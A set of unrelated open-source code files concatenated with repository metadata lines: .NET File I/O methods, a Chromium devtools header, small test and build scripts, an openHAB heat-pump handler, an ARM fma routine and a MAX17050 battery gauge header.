FileSystem.Current.SetAttributes(fullPath, fileAttributes);
}
[System.Security.SecuritySafeCritical]
public static FileStream OpenRead(String path)
{
return new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read);
}
public static FileStream OpenWrite(String path)
{
return new FileStream(path, FileMode.OpenOrCreate,
FileAccess.Write, FileShare.None);
}
[System.Security.SecuritySafeCritical] // auto-generated
public static String ReadAllText(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
return InternalReadAllText(path, Encoding.UTF8);
}
[System.Security.SecuritySafeCritical] // auto-generated
public static String ReadAllText(String path, Encoding encoding)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
return InternalReadAllText(path, encoding);
}
[System.Security.SecurityCritical]
private static String InternalReadAllText(String path, Encoding encoding)
{
Debug.Assert(path != null);
Debug.Assert(encoding != null);
Debug.Assert(path.Length > 0);
using (StreamReader sr = new StreamReader(path, encoding, detectEncodingFromByteOrderMarks: true))
return sr.ReadToEnd();
}
[System.Security.SecuritySafeCritical] // auto-generated
public static void WriteAllText(String path, String contents)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
using (StreamWriter sw = new StreamWriter(path))
{
sw.Write(contents);
}
}
[System.Security.SecuritySafeCritical] // auto-generated
public static void WriteAllText(String path, String contents, Encoding encoding)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
using (StreamWriter sw = new StreamWriter(path, false, encoding))
{
sw.Write(contents);
}
}
[System.Security.SecuritySafeCritical] // auto-generated
public static byte[] ReadAllBytes(String path)
{
return InternalReadAllBytes(path);
}
[System.Security.SecurityCritical]
private static byte[] InternalReadAllBytes(String path)
{
// bufferSize == 1 used to avoid unnecessary buffer in FileStream
using (FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read, bufferSize: 1))
{
long fileLength = fs.Length;
if (fileLength > Int32.MaxValue)
throw new IOException(SR.IO_FileTooLong2GB);
int index = 0;
int count = (int)fileLength;
byte[] bytes = new byte[count];
while (count > 0)
{
int n = fs.Read(bytes, index, count);
if (n == 0)
throw Error.GetEndOfFile();
index += n;
count -= n;
}
return bytes;
}
}
[System.Security.SecuritySafeCritical] // auto-generated
public static void WriteAllBytes(String path, byte[] bytes)
{
if (path == null)
throw new ArgumentNullException(nameof(path), SR.ArgumentNull_Path);
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
if (bytes == null)
throw new ArgumentNullException(nameof(bytes));
Contract.EndContractBlock();
InternalWriteAllBytes(path, bytes);
}
[System.Security.SecurityCritical]
private static void InternalWriteAllBytes(String path, byte[] bytes)
{
Debug.Assert(path != null);
Debug.Assert(path.Length != 0);
Debug.Assert(bytes != null);
using (FileStream fs = new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.Read))
{
fs.Write(bytes, 0, bytes.Length);
}
}
public static String[] ReadAllLines(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
return InternalReadAllLines(path, Encoding.UTF8);
}
public static String[] ReadAllLines(String path, Encoding encoding)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
return InternalReadAllLines(path, encoding);
}
private static String[] InternalReadAllLines(String path, Encoding encoding)
{
Debug.Assert(path != null);
Debug.Assert(encoding != null);
Debug.Assert(path.Length != 0);
String line;
List<String> lines = new List<String>();
using (StreamReader sr = new StreamReader(path, encoding))
while ((line = sr.ReadLine()) != null)
lines.Add(line);
return lines.ToArray();
}
public static IEnumerable<String> ReadLines(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
return ReadLinesIterator.CreateIterator(path, Encoding.UTF8);
}
public static IEnumerable<String> ReadLines(String path, Encoding encoding)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
return ReadLinesIterator.CreateIterator(path, encoding);
}
public static void WriteAllLines(String path, String[] contents)
{
WriteAllLines(path, (IEnumerable<String>)contents);
}
public static void WriteAllLines(String path, IEnumerable<String> contents)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (contents == null)
throw new ArgumentNullException(nameof(contents));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
InternalWriteAllLines(new StreamWriter(path), contents);
}
public static void WriteAllLines(String path, String[] contents, Encoding encoding)
{
WriteAllLines(path, (IEnumerable<String>)contents, encoding);
}
public static void WriteAllLines(String path, IEnumerable<String> contents, Encoding encoding)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (contents == null)
throw new ArgumentNullException(nameof(contents));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
InternalWriteAllLines(new StreamWriter(path, false, encoding), contents);
}
private static void InternalWriteAllLines(TextWriter writer, IEnumerable<String> contents)
{
Debug.Assert(writer != null);
Debug.Assert(contents != null);
using (writer)
{
foreach (String line in contents)
{
writer.WriteLine(line);
}
}
}
public static void AppendAllText(String path, String contents)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
using (StreamWriter sw = new StreamWriter(path, append: true))
{
sw.Write(contents);
}
}
public static void AppendAllText(String path, String contents, Encoding encoding)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
using (StreamWriter sw = new StreamWriter(path, true, encoding))
{
sw.Write(contents);
}
}
public static void AppendAllLines(String path, IEnumerable<String> contents)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (contents == null)
throw new ArgumentNullException(nameof(contents));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
InternalWriteAllLines(new StreamWriter(path, append: true), contents);
}
public static void AppendAllLines(String path, IEnumerable<String> contents, Encoding encoding)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (contents == null)
throw new ArgumentNullException(nameof(contents));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
Contract.EndContractBlock();
InternalWriteAllLines(new StreamWriter(path, true, encoding), contents);
}
public static void Replace(String sourceFileName, String destinationFileName, String destinationBackupFileName)
{
Replace(sourceFileName, destinationFileName, destinationBackupFileName, ignoreMetadataErrors: false);
}
public static void Replace(String sourceFileName, String destinationFileName, String destinationBackupFileName, bool ignoreMetadataErrors)
{
if (sourceFileName == null)
throw new ArgumentNullException(nameof(sourceFileName));
if (destinationFileName == null)
throw new ArgumentNullException(nameof(destinationFileName));
FileSystem.Current.ReplaceFile(
Path.GetFullPath(sourceFileName),
Path.GetFullPath(destinationFileName),
destinationBackupFileName != null ? Path.GetFullPath(destinationBackupFileName) : null,
ignoreMetadataErrors);
}
// Moves a specified file to a new location and potentially a new file name.
// This method does work across volumes.
//
// The caller must have certain FileIOPermissions. The caller must
// have Read and Write permission to
// sourceFileName and Write
// permissions to destFileName.
//
[System.Security.SecuritySafeCritical]
public static void Move(String sourceFileName, String destFileName)
{
if (sourceFileName == null)
throw new ArgumentNullException(nameof(sourceFileName), SR.ArgumentNull_FileName);
if (destFileName == null)
throw new ArgumentNullException(nameof(destFileName), SR.ArgumentNull_FileName);
if (sourceFileName.Length == 0)
throw new ArgumentException(SR.Argument_EmptyFileName, nameof(sourceFileName));
if (destFileName.Length == 0)
throw new ArgumentException(SR.Argument_EmptyFileName, nameof(destFileName));
Contract.EndContractBlock();
String fullSourceFileName = Path.GetFullPath(sourceFileName);
String fullDestFileName = Path.GetFullPath(destFileName);
if (!InternalExists(fullSourceFileName))
{
throw new FileNotFoundException(SR.Format(SR.IO_FileNotFound_FileName, fullSourceFileName), fullSourceFileName);
}
FileSystem.Current.MoveFile(fullSourceFileName, fullDestFileName);
}
public static void Encrypt(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
// TODO: Not supported on Unix or in WinRt, and the EncryptFile API isn't currently
// available in OneCore. For now, we just throw PNSE everywhere. When the API is
// available, we can put this into the FileSystem abstraction and implement it
// properly for Win32.
throw new PlatformNotSupportedException(SR.PlatformNotSupported_FileEncryption);
}
public static void Decrypt(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
// TODO: Not supported on Unix or in WinRt, and the EncryptFile API isn't currently
// available in OneCore. For now, we just throw PNSE everywhere. When the API is
// available, we can put this into the FileSystem abstraction and implement it
// properly for Win32.
throw new PlatformNotSupportedException(SR.PlatformNotSupported_FileEncryption);
}
// UTF-8 without BOM and with error detection. Same as the default encoding for StreamWriter.
private static Encoding UTF8NoBOM => s_UTF8NoBOM ?? (s_UTF8NoBOM = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: true));
// If we use the path-taking constructors we will not have FileOptions.Asynchronous set and
// we will have asynchronous file access faked by the thread pool. We want the real thing.
private static StreamReader AsyncStreamReader(string path, Encoding encoding)
{
FileStream stream = new FileStream(
path, FileMode.Open, FileAccess.Read, FileShare.Read, DefaultBufferSize,
FileOptions.Asynchronous | FileOptions.SequentialScan);
return new StreamReader(stream, encoding, detectEncodingFromByteOrderMarks: true);
}
private static StreamWriter AsyncStreamWriter(string path, Encoding encoding, bool append)
{
FileStream stream = new FileStream(
path, append ? FileMode.Append : FileMode.Create, FileAccess.Write, FileShare.Read, DefaultBufferSize,
FileOptions.Asynchronous | FileOptions.SequentialScan);
return new StreamWriter(stream, encoding);
}
public static Task<string> ReadAllTextAsync(string path, CancellationToken cancellationToken = default(CancellationToken))
=> ReadAllTextAsync(path, Encoding.UTF8, cancellationToken);
public static Task<string> ReadAllTextAsync(string path, Encoding encoding, CancellationToken cancellationToken = default(CancellationToken))
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
return cancellationToken.IsCancellationRequested
? Task.FromCanceled<string>(cancellationToken)
: InternalReadAllTextAsync(path, encoding, cancellationToken);
}
private static async Task<string> InternalReadAllTextAsync(string path, Encoding encoding, CancellationToken cancellationToken)
{
Debug.Assert(!string.IsNullOrEmpty(path));
Debug.Assert(encoding != null);
char[] buffer = null;
StringBuilder sb = null;
StreamReader sr = AsyncStreamReader(path, encoding);
try
{
cancellationToken.ThrowIfCancellationRequested();
sb = StringBuilderCache.Acquire();
buffer = ArrayPool<char>.Shared.Rent(sr.CurrentEncoding.GetMaxCharCount(DefaultBufferSize));
for (;;)
{
int read = await sr.ReadAsync(buffer, 0, buffer.Length).ConfigureAwait(false);
if (read == 0)
{
return sb.ToString();
}
sb.Append(buffer, 0, read);
cancellationToken.ThrowIfCancellationRequested();
}
}
finally
{
sr.Dispose();
if (buffer != null)
{
ArrayPool<char>.Shared.Return(buffer);
}
if (sb != null)
{
StringBuilderCache.Release(sb);
}
}
}
public static Task WriteAllTextAsync(string path, string contents, CancellationToken cancellationToken = default(CancellationToken))
=> WriteAllTextAsync(path, contents, UTF8NoBOM, cancellationToken);
public static Task WriteAllTextAsync(string path, string contents, Encoding encoding, CancellationToken cancellationToken = default(CancellationToken))
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
if (cancellationToken.IsCancellationRequested)
{
return Task.FromCanceled(cancellationToken);
}
if (string.IsNullOrEmpty(contents))
{
new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.Read).Dispose();
return Task.CompletedTask;
}
return InternalWriteAllTextAsync(AsyncStreamWriter(path, encoding, append: false), contents, cancellationToken);
}
public static Task<byte[]> ReadAllBytesAsync(string path, CancellationToken cancellationToken = default(CancellationToken))
{
if (cancellationToken.IsCancellationRequested)
{
return Task.FromCanceled<byte[]>(cancellationToken);
}
FileStream fs = new FileStream(
path, FileMode.Open, FileAccess.Read, FileShare.Read, DefaultBufferSize,
FileOptions.Asynchronous | FileOptions.SequentialScan);
bool returningInternalTask = false;
try
{
long fileLength = fs.Length;
if (cancellationToken.IsCancellationRequested)
{
return Task.FromCanceled<byte[]>(cancellationToken);
}
if (fileLength > int.MaxValue)
{
return Task.FromException<byte[]>(new IOException(SR.IO_FileTooLong2GB));
}
if (fileLength == 0)
{
return Task.FromResult(Array.Empty<byte>());
}
returningInternalTask = true;
return InternalReadAllBytesAsync(fs, (int)fileLength, cancellationToken);
}
finally
{
if (!returningInternalTask)
{
fs.Dispose();
}
}
}
private static async Task<byte[]> InternalReadAllBytesAsync(FileStream fs, int count, CancellationToken cancellationToken)
{
using (fs)
{
int index = 0;
byte[] bytes = new byte[count];
do
{
int n = await fs.ReadAsync(bytes, index, count - index, cancellationToken).ConfigureAwait(false);
if (n == 0)
{
throw Error.GetEndOfFile();
}
index += n;
} while (index < count);
return bytes;
}
}
public static Task WriteAllBytesAsync(string path, byte[] bytes, CancellationToken cancellationToken = default(CancellationToken))
{
if (path == null)
throw new ArgumentNullException(nameof(path), SR.ArgumentNull_Path);
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
if (bytes == null)
throw new ArgumentNullException(nameof(bytes));
return cancellationToken.IsCancellationRequested
? Task.FromCanceled(cancellationToken)
: InternalWriteAllBytesAsync(path, bytes, cancellationToken);
}
private static async Task InternalWriteAllBytesAsync(String path, byte[] bytes, CancellationToken cancellationToken)
{
Debug.Assert(!string.IsNullOrEmpty(path));
Debug.Assert(bytes != null);
using (FileStream fs = new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.Read, DefaultBufferSize, FileOptions.Asynchronous | FileOptions.SequentialScan))
{
await fs.WriteAsync(bytes, 0, bytes.Length, cancellationToken).ConfigureAwait(false);
await fs.FlushAsync(cancellationToken).ConfigureAwait(false);
}
}
public static Task<string[]> ReadAllLinesAsync(string path, CancellationToken cancellationToken = default(CancellationToken))
=> ReadAllLinesAsync(path, Encoding.UTF8, cancellationToken);
public static Task<string[]> ReadAllLinesAsync(string path, Encoding encoding, CancellationToken cancellationToken = default(CancellationToken))
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
return cancellationToken.IsCancellationRequested
? Task.FromCanceled<string[]>(cancellationToken)
: InternalReadAllLinesAsync(path, encoding, cancellationToken);
}
private static async Task<string[]> InternalReadAllLinesAsync(string path, Encoding encoding, CancellationToken cancellationToken)
{
Debug.Assert(!string.IsNullOrEmpty(path));
Debug.Assert(encoding != null);
using (StreamReader sr = AsyncStreamReader(path, encoding))
{
cancellationToken.ThrowIfCancellationRequested();
string line;
List<string> lines = new List<string>();
while ((line = await sr.ReadLineAsync().ConfigureAwait(false)) != null)
{
lines.Add(line);
cancellationToken.ThrowIfCancellationRequested();
}
return lines.ToArray();
}
}
public static Task WriteAllLinesAsync(string path, IEnumerable<string> contents, CancellationToken cancellationToken = default(CancellationToken))
=> WriteAllLinesAsync(path, contents, UTF8NoBOM, cancellationToken);
public static Task WriteAllLinesAsync(string path, IEnumerable<string> contents, Encoding encoding, CancellationToken cancellationToken = default(CancellationToken))
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (contents == null)
throw new ArgumentNullException(nameof(contents));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
return cancellationToken.IsCancellationRequested
? Task.FromCanceled(cancellationToken)
: InternalWriteAllLinesAsync(AsyncStreamWriter(path, encoding, append: false), contents, cancellationToken);
}
private static async Task InternalWriteAllLinesAsync(TextWriter writer, IEnumerable<string> contents, CancellationToken cancellationToken)
{
Debug.Assert(writer != null);
Debug.Assert(contents != null);
using (writer)
{
foreach (string line in contents)
{
cancellationToken.ThrowIfCancellationRequested();
// Note that this working depends on the fix to #14563, and cannot be ported without
// either also porting that fix, or explicitly checking for line being null.
await writer.WriteLineAsync(line).ConfigureAwait(false);
}
cancellationToken.ThrowIfCancellationRequested();
await writer.FlushAsync().ConfigureAwait(false);
}
}
private static async Task InternalWriteAllTextAsync(StreamWriter sw, string contents, CancellationToken cancellationToken)
{
char[] buffer = null;
try
{
buffer = ArrayPool<char>.Shared.Rent(DefaultBufferSize);
int count = contents.Length;
int index = 0;
while (index < count)
{
int batchSize = Math.Min(DefaultBufferSize, count);
contents.CopyTo(index, buffer, 0, batchSize);
cancellationToken.ThrowIfCancellationRequested();
await sw.WriteAsync(buffer, 0, batchSize).ConfigureAwait(false);
index += batchSize;
}
cancellationToken.ThrowIfCancellationRequested();
await sw.FlushAsync().ConfigureAwait(false);
}
finally
{
sw.Dispose();
if (buffer != null)
{
ArrayPool<char>.Shared.Return(buffer);
}
}
}
public static Task AppendAllTextAsync(string path, string contents, CancellationToken cancellationToken = default(CancellationToken))
=> AppendAllTextAsync(path, contents, UTF8NoBOM, cancellationToken);
public static Task AppendAllTextAsync(string path, string contents, Encoding encoding, CancellationToken cancellationToken = default(CancellationToken))
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
if (cancellationToken.IsCancellationRequested)
{
return Task.FromCanceled(cancellationToken);
}
if (string.IsNullOrEmpty(contents))
{
// Just to throw exception if there is a problem opening the file.
new FileStream(path, FileMode.Append, FileAccess.Write, FileShare.Read).Dispose();
return Task.CompletedTask;
}
return InternalWriteAllTextAsync(AsyncStreamWriter(path, encoding, append: true), contents, cancellationToken);
}
public static Task AppendAllLinesAsync(string path, IEnumerable<string> contents, CancellationToken cancellationToken = default(CancellationToken))
=> AppendAllLinesAsync(path, contents, UTF8NoBOM, cancellationToken);
public static Task AppendAllLinesAsync(string path, IEnumerable<string> contents, Encoding encoding, CancellationToken cancellationToken = default(CancellationToken))
{
if (path == null)
throw new ArgumentNullException(nameof(path));
if (contents == null)
throw new ArgumentNullException(nameof(contents));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (path.Length == 0)
throw new ArgumentException(SR.Argument_EmptyPath, nameof(path));
return cancellationToken.IsCancellationRequested
? Task.FromCanceled(cancellationToken)
: InternalWriteAllLinesAsync(AsyncStreamWriter(path, encoding, append: true), contents, cancellationToken);
}
}
}
| Petermarcu/corefx | src/System.IO.FileSystem/src/System/IO/File.cs | C# | mit | 44,103 |
// Copyright (c) 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CONTENT_SHELL_SHELL_DEVTOOLS_FRONTEND_H_
#define CONTENT_SHELL_SHELL_DEVTOOLS_FRONTEND_H_
#include "base/basictypes.h"
#include "base/compiler_specific.h"
#include "base/memory/ref_counted.h"
#include "base/memory/scoped_ptr.h"
#include "content/public/browser/devtools_agent_host.h"
#include "content/public/browser/devtools_client_host.h"
#include "content/public/browser/devtools_frontend_host_delegate.h"
#include "content/public/browser/web_contents_observer.h"
namespace content {
class RenderViewHost;
class Shell;
class WebContents;
class ShellDevToolsFrontend : public WebContentsObserver,
public DevToolsFrontendHostDelegate {
public:
// static ShellDevToolsFrontend* Show(WebContents* inspected_contents);
void Focus();
void Close();
Shell* frontend_shell() const { return frontend_shell_; }
ShellDevToolsFrontend(Shell* frontend_shell, DevToolsAgentHost* agent_host);
virtual ~ShellDevToolsFrontend();
private:
// WebContentsObserver overrides
virtual void RenderViewCreated(RenderViewHost* render_view_host) OVERRIDE;
virtual void WebContentsDestroyed(WebContents* web_contents) OVERRIDE;
// DevToolsFrontendHostDelegate implementation
virtual void DispatchOnEmbedder(const std::string& message) OVERRIDE {}
virtual void InspectedContentsClosing() OVERRIDE;
Shell* frontend_shell_;
scoped_refptr<DevToolsAgentHost> agent_host_;
scoped_ptr<DevToolsClientHost> frontend_host_;
DISALLOW_COPY_AND_ASSIGN(ShellDevToolsFrontend);
};
} // namespace content
#endif // CONTENT_SHELL_SHELL_DEVTOOLS_FRONTEND_H_
| llaraujo/node-webkit | src/shell_devtools_frontend.h | C | mit | 1,801 |
using Ploeh.AutoFixture.NUnit2;
namespace Ploeh.AutoFixture.NUnit2.Addins.UnitTest
{
public class FakeAutoDataFixture
{
[AutoData]
public void DoSomething(int number)
{
}
}
} | yuva2achieve/AutoFixture | Src/AutoFixture.NUnit2.Addins.UnitTest/FakeAutoDataFixture.cs | C# | mit | 219 |
#!/bin/bash
cd $SRC_DIR
mkdir -p lib
cp -r $PREFIX/include/* src/
cp -r $PREFIX/lib/* lib/
cp $PREFIX/lib/libBigWig.a lib/
make
cp lib/libwiggletools.a $PREFIX/lib/
cp inc/wiggletools.h $PREFIX/include/
cp bin/wiggletools $PREFIX/bin/
| jerowe/bioconda-recipes | recipes/wiggletools/build.sh | Shell | mit | 236 |
#include <StdAfxUnitTests.h>
#include <CppUnitTests\CppUnitTests.h>
int main( int argc, char* argv[] )
{
AppSecInc::Com::CCoInitialize coinit;
CppUnitTestRunner runner;
return runner.Run(argc, argv);
}
| dblock/msiext | src/Framework/Msi/MsiUnitTests.cpp | C++ | epl-1.0 | 215 |
/**
* Copyright (c) 2010-2017 by the respective copyright holders.
*
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*/
package org.openhab.binding.regoheatpump.handler;
import org.eclipse.smarthome.core.thing.Thing;
import org.openhab.binding.regoheatpump.RegoHeatPumpBindingConstants;
import org.openhab.binding.regoheatpump.internal.protocol.IpRegoConnection;
import org.openhab.binding.regoheatpump.internal.protocol.RegoConnection;
/**
* The {@link IpRego6xxHeatPumpHandler} is responsible for handling commands, which are
* sent to one of the channels.
*
* @author Boris Krivonog - Initial contribution
*/
public class IpRego6xxHeatPumpHandler extends Rego6xxHeatPumpHandler {
public IpRego6xxHeatPumpHandler(Thing thing) {
super(thing);
}
@Override
protected RegoConnection createConnection() {
String host = (String) getConfig().get(RegoHeatPumpBindingConstants.HOST_PARAMETER);
Integer port = ((Number) getConfig().get(RegoHeatPumpBindingConstants.TCP_PORT_PARAMETER)).intValue();
return new IpRegoConnection(host, port);
}
}
| Stratehm/openhab2 | addons/binding/org.openhab.binding.regoheatpump/src/main/java/org/openhab/binding/regoheatpump/handler/IpRego6xxHeatPumpHandler.java | Java | epl-1.0 | 1,297 |
/*
* SPDX-License-Identifier: BSD-3-Clause
*
* Copyright © 2020 Keith Packard
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <math.h>
#include "math_config.h"
#if HAVE_FAST_FMA
double
fma (double x, double y, double z)
{
asm ("vfma.f64 %P0, %P1, %P2" : "=w" (z) : "w" (x), "w" (y));
return z;
}
#endif
| travisg/newlib | newlib/libm/machine/arm/s_fma_arm.c | C | gpl-2.0 | 1,809 |
/*
* Copyright (C) 2012 LG Electronics
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#ifndef __MAX17050_BATTERY_H_
#define __MAX17050_BATTERY_H_
#define MAX17050_STATUS_BATTABSENT (1 << 3)
#define MAX17050_BATTERY_FULL 100
#define MAX17050_DEFAULT_SNS_RESISTOR 10000
#define CONFIG_LGE_PM_MAX17050_POLLING
/* #define MAX17050_DEBUG */
/* Voltage Base */
/* #define CONFIG_LGE_PM_MAX17050_SOC_VF */
/* Current Base */
#define CONFIG_LGE_PM_MAX17050_SOC_REP
/* Number of words in model characterisation data */
#define MODEL_SIZE 32
/* Recharging for PPLUS max17050 */
#ifdef CONFIG_MACH_MSM8992_PPLUS
#define CONFIG_LGE_PM_MAX17050_RECHARGING
#endif
struct max17050_platform_data {
int (*battery_online)(void);
int (*charger_online)(void);
int (*charger_enable)(void);
#ifdef CONFIG_LGE_PM
bool enable_current_sense;
bool ext_batt_psy;
int empty_soc;
int full_soc;
/*
* R_sns in micro-ohms.
* default 10000 (if r_sns = 0) as it is the recommended value by
* the datasheet although it can be changed by board designers.
*/
unsigned int r_sns;
int config;
int filtercfg;
int relaxcfg;
int learncfg;
int misccfg;
int fullsocthr;
int iavg_empty;
int rcomp0;
int tempco;
int tempnom;
int ichgterm;
int tgain;
int toff;
int vempty;
int qrtable00;
int qrtable10;
int qrtable20;
int qrtable30;
int capacity;
int vf_fullcap;
int param_version;
int full_design;
int rescale_soc;
int rescale_factor;
/* model characterisation data */
u8 model_80[MODEL_SIZE];
u8 model_90[MODEL_SIZE];
u8 model_A0[MODEL_SIZE];
#endif
};
#define MAX17050_STATUS 0x00
#define MAX17050_V_ALRT_THRESHOLD 0x01
#define MAX17050_T_ALRT_THRESHOLD 0x02
#define MAX17050_SOC_ALRT_THRESHOLD 0x03
#define MAX17050_AT_RATE 0x04
#define MAX17050_REM_CAP_REP 0x05
#define MAX17050_SOC_REP 0x06
#define MAX17050_AGE 0x07
#define MAX17050_TEMPERATURE 0x08
#define MAX17050_V_CELL 0x09
#define MAX17050_CURRENT 0x0A
#define MAX17050_AVERAGE_CURRENT 0x0B
#define MAX17050_SOC_MIX 0x0D
#define MAX17050_SOC_AV 0x0E
#define MAX17050_REM_CAP_MIX 0x0F
#define MAX17050_FULL_CAP 0x10
#define MAX17050_TTE 0x11
#define MAX17050_Q_RESIDUAL_00 0x12
#define MAX17050_FULL_SOC_THR 0x13
#define MAX17050_AVERAGE_TEMP 0x16
#define MAX17050_CYCLES 0x17
#define MAX17050_DESIGN_CAP 0x18
#define MAX17050_AVERAGE_V_CELL 0x19
#define MAX17050_MAX_MIN_TEMP 0x1A
#define MAX17050_MAX_MIN_VOLTAGE 0x1B
#define MAX17050_MAX_MIN_CURRENT 0x1C
#define MAX17050_CONFIG 0x1D
#define MAX17050_I_CHG_TERM 0x1E
#define MAX17050_REM_CAP_AV 0x1F
#define MAX17050_CUSTOMVER 0x20
#define MAX17050_VERSION 0x21
#define MAX17050_Q_RESIDUAL_10 0x22
#define MAX17050_FULL_CAP_NOM 0x23
#define MAX17050_TEMP_NOM 0x24
#define MAX17050_TEMP_LIM 0x25
#define MAX17050_AIN 0x27
#define MAX17050_LEARN_CFG 0x28
#define MAX17050_FILTER_CFG 0x29
#define MAX17050_RELAX_CFG 0x2A
#define MAX17050_MISC_CFG 0x2B
#define MAX17050_T_GAIN 0x2C
#define MAX17050_T_OFF 0x2D
#define MAX17050_C_GAIN 0x2E
#define MAX17050_C_OFF 0x2F
#define MAX17050_Q_RESIDUAL_20 0x32
#define MAX17050_FULLCAP0 0x35
#define MAX17050_I_AVG_EMPTY 0x36
#define MAX17050_F_CTC 0x37
#define MAX17050_RCOMP_0 0x38
#define MAX17050_TEMP_CO 0x39
#define MAX17050_V_EMPTY 0x3A
#define MAX17050_F_STAT 0x3D
#define MAX17050_TIMER 0x3E
#define MAX17050_SHDN_TIMER 0x3F
#define MAX17050_Q_RESIDUAL_30 0x42
#define MAX17050_D_QACC 0x45
#define MAX17050_D_PACC 0x46
